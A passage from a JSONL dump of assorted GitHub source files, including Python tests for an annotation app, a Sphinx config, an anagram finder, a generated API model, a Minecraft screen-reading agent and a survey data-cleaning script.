0.5,\r\n 'entropy_coeff': -0.001,\r\n 'learning_rate': 3e-4\r\n}\r\n","repo_name":"meadewaking/NaiveRL","sub_path":"algorithm/A2C/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"32690410880","text":"import unittest\n\n\nclass TestAddPoint(unittest.TestCase):\n\n def getTargetFunc(self):\n from pathilico.app.annotation import add_point as f\n return f\n\n def createAnnotationModel(self):\n from pathilico.app.annotation import AnnotationModel as Cls\n return Cls()\n\n def testAddPoint(self):\n add_point = self.getTargetFunc()\n model = self.createAnnotationModel()\n model, point_id, point_data = add_point(\n model, 100, 100, 1, 100000, \"hoge.svs\"\n )\n self.assertEqual({point_id}, set(model.points.keys()))\n point_data = model.points[point_id]\n self.assertEqual((100, 100, 1, (100, 100000-100, 1)), point_data)\n\n\nclass TestAddArea(unittest.TestCase):\n\n def getTargetFunc(self):\n from pathilico.app.annotation import add_area as f\n return f\n\n def createAnnotationModel(self):\n from pathilico.app.annotation import AnnotationModel as Cls\n return Cls()\n\n def testAddPoint(self):\n add_area = self.getTargetFunc()\n model = self.createAnnotationModel()\n\n mock_closed_vs = (\n 100, 100, 120, 140, 150, 180, 200, 250, 170, 300, 130, 170\n )\n mock_lv0 = 1000\n mock_category_id = 101\n model, flag, area_id, actual = add_area(\n model, closed_vs=mock_closed_vs, category_id=mock_category_id,\n lv0_height=mock_lv0, display_name=\"Hoge\", reduce_points=False\n )\n self.assertTrue(flag)\n self.assertTrue(100, actual.x)\n self.assertTrue(100, actual.y)\n self.assertTrue(100, actual.width)\n self.assertTrue(200, actual.height)\n\n\nclass TestConvertOpenGLCoordinates(unittest.TestCase):\n def getTargetFunc(self):\n from pathilico.app.annotation \\\n import convert_opengl_coordinates2ga_query_coordinates as f\n return f\n\n def testConvertPointOne(self):\n func = self.getTargetFunc()\n desired = (300, 1024-400)\n actual = func(0, 0, 1, 300, 400, 1024)\n self.assertEqual(desired, actual)\n\n def testConvertPointTwo(self):\n func = self.getTargetFunc()\n desired = (100, 1024-100)\n actual = func(0, 0, 4, 400, 400, 1024)\n self.assertEqual(desired, actual)\n\n\nclass TestUpdateGroupedAnnotationQuery(unittest.TestCase):\n def getTargetFunc(self):\n from pathilico.app.annotation \\\n import update_grouped_annotation_query as f\n return f\n\n def getGroupedAnnotationRecordCls(self):\n from pathilico.app.annotation \\\n import GroupedAnnotationRecord as Cls\n return Cls\n\n def getGroupedAnnotationImageQuery(self):\n from pathilico.app.annotation \\\n import GroupedAnnotationImageQuery as Cls\n return Cls\n\n def getPointRecordCls(self):\n from pathilico.app.annotation \\\n import PointAnnotationRecord as Cls\n return Cls\n\n def getAreaRecordCls(self):\n from pathilico.app.annotation \\\n import AreaAnnotationRecord as Cls\n return Cls\n\n def testUpdateGAByAddingPoint(self):\n GaCls = self.getGroupedAnnotationRecordCls()\n GaQueryCls = self.getGroupedAnnotationImageQuery()\n PointCls = self.getPointRecordCls()\n func = self.getTargetFunc()\n input_query = GaQueryCls(list(), list(), (1024, 1024))\n mock_point1 = PointCls(\n x=100, y=200, category_id=100, serialized_data=b\"\\x03\"\n )\n mock_point2 = PointCls(\n x=150, y=400, category_id=200, serialized_data=b\"\\x03\"\n )\n mock_point_id1 = b\"\\x00\"\n mock_point_id2 = b\"\\x01\"\n mock_points = {mock_point_id1: mock_point1, mock_point_id2: mock_point2}\n mock_colors = {100: (0, 1, 2, 3), 200: (1, 2, 3, 4)}\n input_gar = GaCls(\n x=0, y=0, level=0, points={mock_point_id1, mock_point_id2},\n areas=set(), query=input_query\n )\n result = func(\n input_gar, points=mock_points, areas=dict(),\n category_id2color=mock_colors,\n level_downsamples=(1, 4, 16)\n )\n actual = result.query\n desired_points = [\n (100, 1024-200, (0,1,2,3)), (150, 1024-400, (1,2,3,4))\n ]\n self.assertEqual(set(desired_points), set(actual.points))\n\n def testUpdateGAByAddingArea(self):\n GaCls = self.getGroupedAnnotationRecordCls()\n GaQueryCls = self.getGroupedAnnotationImageQuery()\n AreaCls = self.getAreaRecordCls()\n func = self.getTargetFunc()\n input_query = GaQueryCls(list(), list(), (1024, 1024))\n mock_input_contour = (\n 0, 0, 100, 100, 200, 150, 150, 300\n )\n mock_desired_contour = (\n 0, 1024, 100, 1024-100, 200, 1024-150, 150, 1024-300\n )\n mock_area = AreaCls(\n x=0, y=0, width=200, height=300, triangulate_indices=tuple(),\n category_id=100, serialized_data=tuple(),\n contour=mock_input_contour\n\n )\n mock_area_id = b\"\\x00\"\n mock_areas = {mock_area_id: mock_area}\n mock_colors = {100: (0, 1, 2, 3), 200: (1, 2, 3, 4)}\n input_gar = GaCls(\n x=0, y=0, level=0, points=set(),\n areas={mock_area_id}, query=input_query\n )\n result = func(\n input_gar, points=dict(), areas=mock_areas,\n category_id2color=mock_colors,\n level_downsamples=(1, 4, 16)\n )\n actual = result.query\n desired_polygon = (mock_desired_contour, mock_colors[100])\n self.assertEqual(desired_polygon, actual.polygons[0])\n\n\nclass TestConvertBytes(unittest.TestCase):\n\n def getBinarizerFunc(self):\n from pathilico.app.annotation \\\n import convert_int_seq2bytes as f\n return f\n\n def getDeBinarizerFunc(self):\n from pathilico.app.annotation \\\n import convert_bytes as f\n return f\n\n def testConvert(self):\n i2b = self.getBinarizerFunc()\n b2i = self.getDeBinarizerFunc()\n desired = (1, 2, 3, 4)\n flag, actual = b2i(i2b(desired))\n self.assertTrue(flag)\n self.assertEqual(desired, actual)\n\n\nclass TestAreaAnnotationSerialization(unittest.TestCase):\n\n def getSerializeFunc(self):\n from pathilico.app.annotation \\\n import create_area_annotation_serialized_data as f\n return f\n\n def getDeserializeFunc(self):\n from pathilico.app.annotation \\\n import create_area_annotation_record_from_serialized_data as f\n return f\n\n def getDeBinarizeFunc(self):\n from pathilico.app.annotation \\\n import convert_bytes as f\n return f\n\n def getSerializedDataCls(self):\n from pathilico.app.annotation \\\n import AreaAnnotationSerializedData as Cls\n return Cls\n\n def testSerialize(self):\n serializer = self.getSerializeFunc()\n SerializedCls = self.getSerializedDataCls()\n debinarize = self.getDeBinarizeFunc()\n x = 100\n y = 200\n width = 50\n height = 100\n counter = (0, 0, 30, 70, 50, 100)\n desired_contour = (0, 100, 30, 30, 50, 0)\n lv0_height = 1000\n category_id = 3\n triangulate_indices = (0, 1, 2)\n actual = serializer(\n x, y, width, height, counter, triangulate_indices, category_id,\n lv0_height\n )\n self.assertIsInstance(actual, SerializedCls)\n self.assertEqual(x, actual.x)\n self.assertEqual(lv0_height-y-height, actual.y)\n self.assertEqual(width, actual.width)\n self.assertEqual(height, actual.height)\n self.assertEqual(category_id, actual.category_id)\n self.assertEqual(\n triangulate_indices, debinarize(actual.triangulate_indices)[1]\n )\n self.assertEqual(\n desired_contour, debinarize(actual.contour)[1]\n )\n\n def testDeserialize(self):\n serializer = self.getSerializeFunc()\n deserializer = self.getDeserializeFunc()\n x = 100\n y = 200\n width = 50\n height = 100\n contour = (0, 0, 30, 70, 50, 100)\n lv0_height = 1000\n category_id = 3\n triangulate_indices = (0, 1, 2)\n serialized = serializer(\n x, y, width, height, contour, triangulate_indices, category_id,\n lv0_height\n )\n flag, actual = deserializer(serialized, lv0_height)\n self.assertTrue(flag)\n self.assertEqual(x, actual.x)\n self.assertEqual(y, actual.y)\n self.assertEqual(width, actual.width)\n self.assertEqual(height, actual.height)\n self.assertEqual(category_id, actual.category_id)\n self.assertEqual(\n triangulate_indices, actual.triangulate_indices\n )\n self.assertEqual(contour, actual.contour)\n\n\nclass TestGetBoundsForPoint(unittest.TestCase):\n\n def getTargetFunc(self):\n from pathilico.app.annotation import get_bounds_for_point as f\n return f\n\n def testGetBoundsForOrigin(self):\n func = self.getTargetFunc()\n offset = 4\n actual = func(0, 0, (1, 4, 16), offset=4)\n desired = [(-4, -4, 4, 4, 0), (-4, -4, 4, 4, 1), (-4, -4, 4, 4, 2)]\n self.assertEqual(desired, actual)\n\n def testGetBoundsForPointOne(self):\n func = self.getTargetFunc()\n ofs = 4 # offset\n actual = func(1600, 1600, (1, 4, 16), offset=ofs)\n desired = [\n (1600-ofs, 1600-ofs, 1600+ofs, 1600+ofs, 0),\n (400-ofs, 400-ofs, 400+ofs, 400+ofs, 1),\n (100-ofs, 100-ofs, 100+ofs, 100+ofs, 2)\n ]\n self.assertEqual(desired, actual)\n\n\nclass TestGetBoundsForArea(unittest.TestCase):\n\n def getTargetFunc(self):\n from pathilico.app.annotation import get_bounds_for_area as f\n return f\n\n def testGetBoundsForOrigin(self):\n func = self.getTargetFunc()\n w, h = 256, 1024\n actual = func(0, 0, w, h, (1, 4, 16))\n desired = [\n (0, 0, w, h, 0),\n (0, 0, w//4, h//4, 1),\n (0, 0, w//16, h//16, 2)\n ]\n self.assertEqual(desired, actual)\n\n def testGetBoundsForArea(self):\n func = self.getTargetFunc()\n x, y = 1600, 1600\n w, h = 256, 1024\n actual = func(x, y, w, h, (1, 4, 16))\n desired = [\n (1600, 1600, x+w, y+h, 0),\n (400, 400, 400+w//4, 400+h//4, 1),\n (100, 100, 100+w//16, 100+h/16, 2),\n ]\n self.assertEqual(desired, actual)\n","repo_name":"yujota/pathilico","sub_path":"python/tests/test_app/test_annotation.py","file_name":"test_annotation.py","file_ext":"py","file_size_in_byte":10517,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"41985824317","text":"import configparser\nimport os.path\nimport sys\nfrom pkg_resources import get_distribution\n\ntopdir = os.path.abspath('..')\nsys.path.insert(0, topdir)\n\nconfig = configparser.ConfigParser()\nconfig.read(os.path.join(topdir, 'setup.cfg'))\n\nproject = config['metadata']['name']\nauthor = config['metadata']['author']\ncopyright = config['metadata']['copyright']\nrelease = get_distribution(project).version\nversion = release\n\nextensions = [\n 'sphinx.ext.autodoc',\n 'sphinx.ext.viewcode',\n]\n\nsource_suffix = '.rst'\nmaster_doc = 'index'\nexclude_patterns = ['_build']\npygments_style = None\n\nhtml_theme = 'alabaster'\nhtml_theme_options = {\n 'description': config['metadata']['description'],\n 'github_user': 'unipartdigital',\n 'github_repo': project,\n 'github_button': True,\n}\n\nautodoc_mock_imports = ['ldap']\n","repo_name":"mcb30/idiosync","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"31631651263","text":"# -*- coding: utf-8 -*-\n\n\"\"\" A Program to find the anagram words from a file \"\"\"\n# Importing collections\nfrom collections import OrderedDict\n\n# importing itertools.groupby\n# Itertools is used to handle iterators operation fastly\nfrom itertools import groupby\n\n# To get execution time imported time module\nimport time\n\n# Defined the start time of the program\nstart_time = time.time()\n\ntry:\n # Opening the file anagram.txt to get the words\n with open(\"anagram.txt\") as fileobj:\n words = fileobj.read().splitlines()\n\nexcept FileNotFoundError as e:\n print(e)\n\n# *************************************************** #\n# Processing to find anagram words\n\n# Step 1 - dividing the large file into small sub files\n# Finding the len of the words and storing it in the words_len\nwords_len = list(map(len, words))\n\n# Framimg a dictionary containing the words as keys and len as their values\nfinal_word_dict = dict(zip(words, words_len))\n\n# Sorting the dictionary according to length\nfinal_word_dict = dict(OrderedDict(sorted(final_word_dict.items(),key=lambda x: x[1])))\n\n# Storing the unique lenght from the dictionary\nunique_len = set(final_word_dict.values())\n\n# Modified word list\nmodified_word_list = []\n\n# Used as index for modified_word_list in for loop\ncount = 0\n\n# dividing the dictionary on the basis of length\nfor var in unique_len:\n modified_word_list.append([])\n for k, v in final_word_dict.items():\n if v == var:\n modified_word_list[count].append(k)\n count += 1\n\n# Step2 - to find anagram words from modified list\n# set to hold anagram words\nanagram_words = []\n\n\n# Function to filter anagram words\nanagram_filter = lambda w: sorted(w)\n\n# applying loop and groupby functions going to seperate anagrams and non-anagrams words\nfor var2 in modified_word_list:\n anagram_words.extend([list(v) for k, v in groupby(sorted(var2, key=anagram_filter), anagram_filter)])\n\n# Extracting the anagrams words by list comphrehension\nanagram_words = [x for lis in anagram_words if len(lis) > 1 for x in lis]\n\n# To get the final execution time\nprint(time.time() - start_time)\n","repo_name":"piyush546/Machine-Learning-Bootcamp","sub_path":"Projects/Anagram finder/Anagram.py","file_name":"Anagram.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"5396998553","text":"# coding: utf-8\n\n\"\"\"\n WEX REST APIs\n\n Authentication methods - Basic Auth - JSON Web Token - [POST /api/v1/usermgmt/login](#!/User/signinUser) - [POST /api/v1/usermgmt/logout](#!/User/doLogout) - Python client sample [Download](/docs/wex-python-api.zip) \n\n OpenAPI spec version: 12.0.2.417\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nfrom pprint import pformat\nfrom six import iteritems\nimport re\n\n\nclass LabelerEvalResult(object):\n \"\"\"\n NOTE: This class is auto generated by the swagger code generator program.\n Do not edit the class manually.\n \"\"\"\n\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'label_wise': 'LabelWiseClassifierMeasurements',\n 'macro_average': 'MacroAvgClassifierMeasurements',\n 'micro_average': 'MicroAvgClassifierMeasurements',\n 'model_id': 'str'\n }\n\n attribute_map = {\n 'label_wise': 'labelWise',\n 'macro_average': 'macroAverage',\n 'micro_average': 'microAverage',\n 'model_id': 'modelId'\n }\n\n def __init__(self, label_wise=None, macro_average=None, micro_average=None, model_id=None):\n \"\"\"\n LabelerEvalResult - a model defined in Swagger\n \"\"\"\n\n self._label_wise = None\n self._macro_average = None\n self._micro_average = None\n self._model_id = None\n\n if label_wise is not None:\n self.label_wise = label_wise\n if macro_average is not None:\n self.macro_average = macro_average\n if micro_average is not None:\n self.micro_average = micro_average\n if model_id is not None:\n self.model_id = model_id\n\n @property\n def label_wise(self):\n \"\"\"\n Gets the label_wise of this LabelerEvalResult.\n\n :return: The label_wise of this LabelerEvalResult.\n :rtype: LabelWiseClassifierMeasurements\n \"\"\"\n return self._label_wise\n\n @label_wise.setter\n def label_wise(self, label_wise):\n \"\"\"\n Sets the label_wise of this LabelerEvalResult.\n\n :param label_wise: The label_wise of this LabelerEvalResult.\n :type: LabelWiseClassifierMeasurements\n \"\"\"\n\n self._label_wise = label_wise\n\n @property\n def macro_average(self):\n \"\"\"\n Gets the macro_average of this LabelerEvalResult.\n\n :return: The macro_average of this LabelerEvalResult.\n :rtype: MacroAvgClassifierMeasurements\n \"\"\"\n return self._macro_average\n\n @macro_average.setter\n def macro_average(self, macro_average):\n \"\"\"\n Sets the macro_average of this LabelerEvalResult.\n\n :param macro_average: The macro_average of this LabelerEvalResult.\n :type: MacroAvgClassifierMeasurements\n \"\"\"\n\n self._macro_average = macro_average\n\n @property\n def micro_average(self):\n \"\"\"\n Gets the micro_average of this LabelerEvalResult.\n\n :return: The micro_average of this LabelerEvalResult.\n :rtype: MicroAvgClassifierMeasurements\n \"\"\"\n return self._micro_average\n\n @micro_average.setter\n def micro_average(self, micro_average):\n \"\"\"\n Sets the micro_average of this LabelerEvalResult.\n\n :param micro_average: The micro_average of this LabelerEvalResult.\n :type: MicroAvgClassifierMeasurements\n \"\"\"\n\n self._micro_average = micro_average\n\n @property\n def model_id(self):\n \"\"\"\n Gets the model_id of this LabelerEvalResult.\n ID of the labeler model used for the evaluation\n\n :return: The model_id of this LabelerEvalResult.\n :rtype: str\n \"\"\"\n return self._model_id\n\n @model_id.setter\n def model_id(self, model_id):\n \"\"\"\n Sets the model_id of this LabelerEvalResult.\n ID of the labeler model used for the evaluation\n\n :param model_id: The model_id of this LabelerEvalResult.\n :type: str\n \"\"\"\n\n self._model_id = model_id\n\n def to_dict(self):\n \"\"\"\n Returns the model properties as a dict\n \"\"\"\n result = {}\n\n for attr, _ in iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"\n Returns the string representation of the model\n \"\"\"\n return pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"\n For `print` and `pprint`\n \"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"\n Returns true if both objects are equal\n \"\"\"\n if not isinstance(other, LabelerEvalResult):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"\n Returns true if both objects are not equal\n \"\"\"\n return not self == other\n","repo_name":"adam725417/Walsin","sub_path":"wex-python-api/ibmwex/models/labeler_eval_result.py","file_name":"labeler_eval_result.py","file_ext":"py","file_size_in_byte":5691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23341334882","text":"#!/usr/bin/env python3\n\nimport time\n\ntimer = 0\n\nwhile True:\n try:\n # real_time = time.strftime(\" :%S\", localtime())\n print(f'time elapsed: {timer} (press ctrl+c to stop)', end='\\r')\n timer += 1\n time.sleep(1)\n except KeyboardInterrupt:\n total_time = timer - 1 \n print('\\b\\b\\r')\n print(f'\\n total time: {total_time} seconds')\n break","repo_name":"whompus/python3forsysadmins","sub_path":"exercises/real-time-testing.py","file_name":"real-time-testing.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10851933710","text":"from __future__ import absolute_import\n\nimport six\n\nfrom openformats.strings import OpenString\n\nfrom ..handlers import Handler\nfrom ..utils.compilers import OrderedCompilerMixin\n\n\nclass PlaintextHandler(OrderedCompilerMixin, Handler):\n name = \"Plaintext\"\n extension = \"txt\"\n EXTRACTS_RAW = False\n\n def parse(self, content, **kwargs):\n stringset = []\n # find out whether we're using UNIX or DOS newlines\n try:\n position = content.index('\\n')\n except ValueError:\n # No newlines present\n newline_sequence = \"\"\n lines = (content, )\n else:\n if position == 0 or content[position - 1] != '\\r':\n newline_sequence = \"\\n\"\n else:\n newline_sequence = \"\\r\\n\"\n lines = content.split(newline_sequence)\n\n template = \"\"\n order = 0\n for line in lines:\n stripped_line = line.strip()\n if stripped_line:\n string = OpenString(six.text_type(order),\n stripped_line,\n order=order)\n order += 1\n stringset.append(string)\n\n template_line = line.replace(stripped_line,\n string.template_replacement)\n template += newline_sequence\n if stripped_line:\n template += template_line\n else:\n template += line\n\n # remove newline_sequence added to the start of the template\n template = template[len(newline_sequence):]\n return template, stringset\n","repo_name":"transifex/openformats","sub_path":"openformats/formats/plaintext.py","file_name":"plaintext.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"74611510759","text":"# Runtime: 76 ms (Top 9.80%) | Memory: 14.1 MB (Top 5.65%)\nINF = float(\"inf\")\n\nclass Solution:\n def videoStitching(self, clips, time ) :\n clips.sort()\n\n @lru_cache\n def dp(ci, reeled):\n\n if ci > len(clips) - 1:\n return INF#\n\n if clips[ci][0] > reeled:\n return INF # cantt take this\n\n if clips[ci][1] >= time:\n return 1\n # takee\n a1 = 1 + dp(ci+1, clips[ci][1])\n\n # not take\n a2 = dp(ci+1, reeled)\n\n return min(a1, a2)\n\n res = dp(0, 0)\n if res == INF:\n return -1\n else:\n return res","repo_name":"AnasImloul/Competitive-Programming","sub_path":"leetcode/scripts/algorithms/V/Video Stitching/Video Stitching.py","file_name":"Video Stitching.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"25697812376","text":"'''\nFile to handle data for the NN model.\n\nAuthor: Sebastiano Taddei.\nDate: 29/11/2022.\n'''\n\n###########\n# Imports #\n###########\n\nimport pandas as pd\nimport numpy as np\n\n#############\n# Functions #\n#############\n\ndef load_csv(filepath):\n '''\n Function to load a CSV dataset.\n\n Arguments:\n - filepath: path to CSV file;\n\n Outputs:\n - dataset: pandas dataframe containing the data.\n '''\n\n dataset = pd.read_csv(filepath_or_buffer=filepath,\n index_col=0,\n dtype=np.float32) # to make TF happy\n\n return dataset\n\ndef window_data(dataset, input_labels, output_labels, input_window, output_window, batch_size,\n validation_split=0.3):\n \"\"\"\n Window data and split it into input/output.\n\n Arguments:\n - dataset: pandas dataframe containing both input/output and trainig/validation data;\n - input_labels: list of labels corresponding to the input columns of the dataset;\n - output_labels: list of labels corresponding to the input columns of the dataset;\n - input_window: size of the input window;\n - output_window: size of the output window;\n - batch_size: size of the batch;\n - validation_split: percentage of data to reserve for the validation set (taken from the last\n samples).\n\n Outputs:\n - train_data: [input training data, target training data];\n - valid_data: [input validation data, target validation data];\n - time: time array of the dataset.\n\n Be careful to have the correct input/output relation with your data:\n - [p_k, p_k+1, p_k+2] -> [acc_k] for a future input window;\n - [p_k-2, p_k-1, p_k] -> [acc_k] for a past input window.\n Change the data handler accordingly.\n \"\"\"\n\n # Split data into input and output\n pd_input = dataset[input_labels]\n pd_output = dataset[output_labels]\n\n # If batch size is provided trim data to be a multiple of it\n if batch_size:\n last_idx = np.floor((len(dataset.index) - input_window)/batch_size).astype(int)*batch_size\n else:\n last_idx = len(dataset.index)\n\n # Reshape data\n input_data = [None] * len(input_labels)\n for i, (_, values) in enumerate(pd_input.items()):\n np_input = values.to_numpy().flatten()\n input_data[i] = np.array([np_input[i:i + input_window]\n for i in range(last_idx)])\n\n output_data = [None] * len(output_labels)\n for i, (_, values) in enumerate(pd_output.items()):\n np_output = values.to_numpy().flatten()\n output_data[i] = np.array([np_output[i:i + output_window]\n for i in range(last_idx)])\n\n # Split data into training and validation\n if batch_size:\n train_idx = np.floor(last_idx*(1 - validation_split)/batch_size).astype(int)*batch_size\n else:\n train_idx = np.floor(last_idx*(1 - validation_split)).astype(int)\n\n train_data = [[data[:train_idx] for data in input_data],\n [data[:train_idx] for data in output_data]]\n valid_data = [[data[train_idx:] for data in input_data],\n [data[train_idx:] for data in output_data]]\n\n time = [dataset.index[:train_idx],\n dataset.index[train_idx:last_idx],]\n\n return train_data, valid_data, time\n\n\n\n","repo_name":"FransMara/Longitudinal_Controller_NN","sub_path":"NN_Python/src/utils/data_handler.py","file_name":"data_handler.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8832330128","text":"\nfrom detecto.utils import read_image\nimport pyautogui\nimport torch\nimport pandas as pd\nimport numpy as np\nimport cv2\nimport time\nimport win32api\nimport win32con\nimport pydirectinput\n\n\ndef adquirir_dataset(model):\n im1 = pyautogui.screenshot(\"currentImg.jpeg\", region=(0,35,2000, 985))\n image = read_image(\"currentImg.jpeg\")\n labels, boxes, scores = model.predict(image)\n threshold = 0.6\n import numpy as np\n llista_boxes = boxes.tolist()\n boxes_salvats=[]\n labels_salvats=[]\n for i in range(len(scores)):\n if scores[i]>threshold:\n labels_salvats.append(labels[i])\n boxes_salvats.append(llista_boxes[i]) \n\n boxes_salvats_tensor = torch.FloatTensor(boxes_salvats)\n distancies = []\n entitats_input = []\n\n for i in boxes_salvats_tensor:\n distancies.append(str(i[3]-i[1]))\n entitats_input.append([ int( (i[3].item() - i[1].item()) ), (i[2].item()+i[0].item())/2 , (i[3].item()+i[1].item())/2 \n ])\n\n for j in range(len(distancies)):\n distancies[j] = distancies[j][7:-1]\n\n for k in range(len(labels_salvats)):\n entitats_input[k].append(labels_salvats[k])\n labels_salvats[k] = labels_salvats[k] + \" \" + distancies[k]\n\n if entitats_input != []:\n entitats_input = pd.DataFrame(entitats_input)\n entitats_input = entitats_input.sort_values(0, axis=0, ascending=False, inplace=False, kind='quicksort',\n na_position='last', ignore_index=False, key=None)\n entitats_input = entitats_input.replace(\"zombie\", 1)\n entitats_input = entitats_input.replace(\"pig\", 0)\n\n del entitats_input[2]\n print (\"entitats_input\", entitats_input)\n return (entitats_input)\n\ndef adquirir_dataset_basic(model):\n im1 = pyautogui.screenshot(\"currentImg.jpeg\", region=(0,35,2000, 985))\n image = read_image(\"currentImg.jpeg\")\n labels, boxes, scores = model.predict(image)\n threshold = 0.6\n import numpy as np\n llista_boxes = boxes.tolist()\n boxes_salvats=[]\n labels_salvats=[]\n for i in range(len(scores)):\n if scores[i]>threshold:\n labels_salvats.append(labels[i])\n boxes_salvats.append(llista_boxes[i])\n boxes_salvats_tensor = torch.FloatTensor(boxes_salvats)\n distancies = []\n entitats_input = [] #Ha de ser una llista, un diccionari no pot tenir instancies diferentss amb la mateixa etiqueta\n\n for i in boxes_salvats_tensor:\n entitats_input.append([ (i[2].item()+i[0].item())/2, i[3].item()\n ])\n\n return entitats_input\n\n\ndef execucio_xarxa(function_inputs, solution):\n print(\"solution\", solution)\n if len(function_inputs) != 0:\n function_inputs = list(function_inputs[0])\n print(\"inputs tractats\", function_inputs)\n\n elif len(function_inputs) == 0:\n function_inputs=[0,0]\n \n else:\n print(\"nai què collons?\", function_inputs)\n \n valor_dreta = (solution[0:2]*function_inputs).sum() \n valor_esquerra = (solution[2:4]*function_inputs).sum()\n valor_w = (solution[4:6]*function_inputs).sum()\n print (\"vd\", valor_dreta, \"ve\", valor_esquerra, \"vend\", valor_w) \n resultat = max(valor_dreta,valor_esquerra, valor_w) \n return [resultat,valor_dreta,valor_esquerra, valor_w] \n\ndef execucio_moviment(resultat,valor_dreta,valor_esquerra, valor_w):\n if resultat == valor_w:\n print(\"endavant\")\n elif resultat == valor_dreta:\n print(\"dreta\")\n win32api.mouse_event(win32con.MOUSEEVENTF_MOVE, 50, 0, 0, 0)\n elif resultat == valor_esquerra: \n win32api.mouse_event(win32con.MOUSEEVENTF_MOVE, -50, 0, 0, 0)\n \ndef avaluar_xarxa(function_inputs,solution):\n visio = np.uint8(pyautogui.screenshot(\"currentImg.jpeg\", region=(0,35,2000, 985)))\n puntuacions = []\n for puntuacio in range(1,10):\n nai = cv2.imread(str(str(puntuacio)+\".jpg\"))\n pointo = cv2.matchTemplate(visio, nai, cv2.TM_CCOEFF_NORMED)\n min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(pointo)\n puntuacions.append(max_val)\n \n max_val = max(puntuacions)\n max_index = puntuacions.index(max_val)+1\n puntuacio = puntuacions[int(max_val)]\n\n pyautogui.click(x=1091, y=605)\n pyautogui.click(x=1091, y=605)\n \n compta = 0\n if len(function_inputs) != 0:\n max_index = max_index+0.5\n print(\"les puntuacions son\", max_index, \"i els pesos son\", solution)\n return(max_index)\n\ndef avaluar_xarxa2(function_inputs_zero):\n if len(function_inputs_zero) == 0:\n return 0\n else:\n puntuacio = 1/((function_inputs_zero[0][0]-960)**2)\n return puntuacio\n","repo_name":"BolettoGrosso/Minecraft-Agent","sub_path":"Code/funcions.py","file_name":"funcions.py","file_ext":"py","file_size_in_byte":4685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74604551078","text":"# 53. Maximum Subarray\n# https://leetcode.com/problems/maximum-subarray/\n\nclass Solution:\n def maxSubArray(self, nums: List[int]) -> int:\n maxSubArraySum, curSubArraySum = -inf, -inf\n\n for num in nums:\n curSubArraySum = max(curSubArraySum+num, num)\n maxSubArraySum = max(maxSubArraySum, curSubArraySum)\n return maxSubArraySum\n\n\"\"\"\nTC - O(N)\nSC - O(1)\n\nFollow up - return the maximum subarray\n\nnums = [-2,1,-3,4,-1,2,1,-5,4]\nmaxSubArraySumCumulative = [-2,1,-2,4, 3,5,6,1,5]\n\nreturnArr = []\ntraverse backward from end till we find the maxSubArraySum\nreturnArr = [1,]\nkeep traversing backward till nums[i] == maxSubArraySumCumulative[i]\nreturnArr = [1,2,-1,4]\nbreak\n\nreturn reversed(returnArr)\n[4,-1,2,1]\n\"\"\"\n","repo_name":"khac/data-structures-algo","sub_path":"src/py/Maximum_Subarray.py","file_name":"Maximum_Subarray.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"ceb","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5526581137","text":"#import libaries and data\nimport pandas as pd\nimport numpy as np\nimport scipy.stats as stats\n\n# Import txt data from NSDUH 2020 survey\nspd2020=pd.read_csv(\"/Volumes/GoogleDrive-103216474570354470605/My Drive/NSDUH_2020/NSDUH_2020_Tab.txt\",sep=\"\\t\")\n#spd2020.head(5)\n\n# Clean data and create the required dataset\n\n#rename id, wts, income, gender\nspd2020.rename(columns={\"QUESTID2\":\"id\",\"ANALWTQ1Q4_C\":\"wts\", \"INCOME\": \"income\"}, inplace=\"TRUE\")\nspd2020['year']='2020' \n# spd2020.head(5)\n\n# #check for missing values by id, gender, income and survey weights\n# spd2020['id'].isnull().values.any()\n# spd2020['income'].isnull().values.any()\n# spd2020['wts'].isnull().values.any()\n\n# #get summary stats for the cleaned variables\n# spd2020[[\"id\",\"income\",\"wts\"]].describe().transpose()\n\n## Create different socioeconomic variables\n\n# create marital status variable\n\nspd2020['IRMARIT'].isnull().values.any() #check if any missing value\nspd2020['IRMARIT'].value_counts() # gives each unique category value and its frequency\n#spd2020['IRMARIT'].value_counts().count() # gives number of caterories\n\ncol = 'IRMARIT'\nconditions = [ spd2020[col] ==1, (spd2020[col] ==2) | (spd2020[col]==3), spd2020[col] == 4]\nchoices = [ \"Married\", 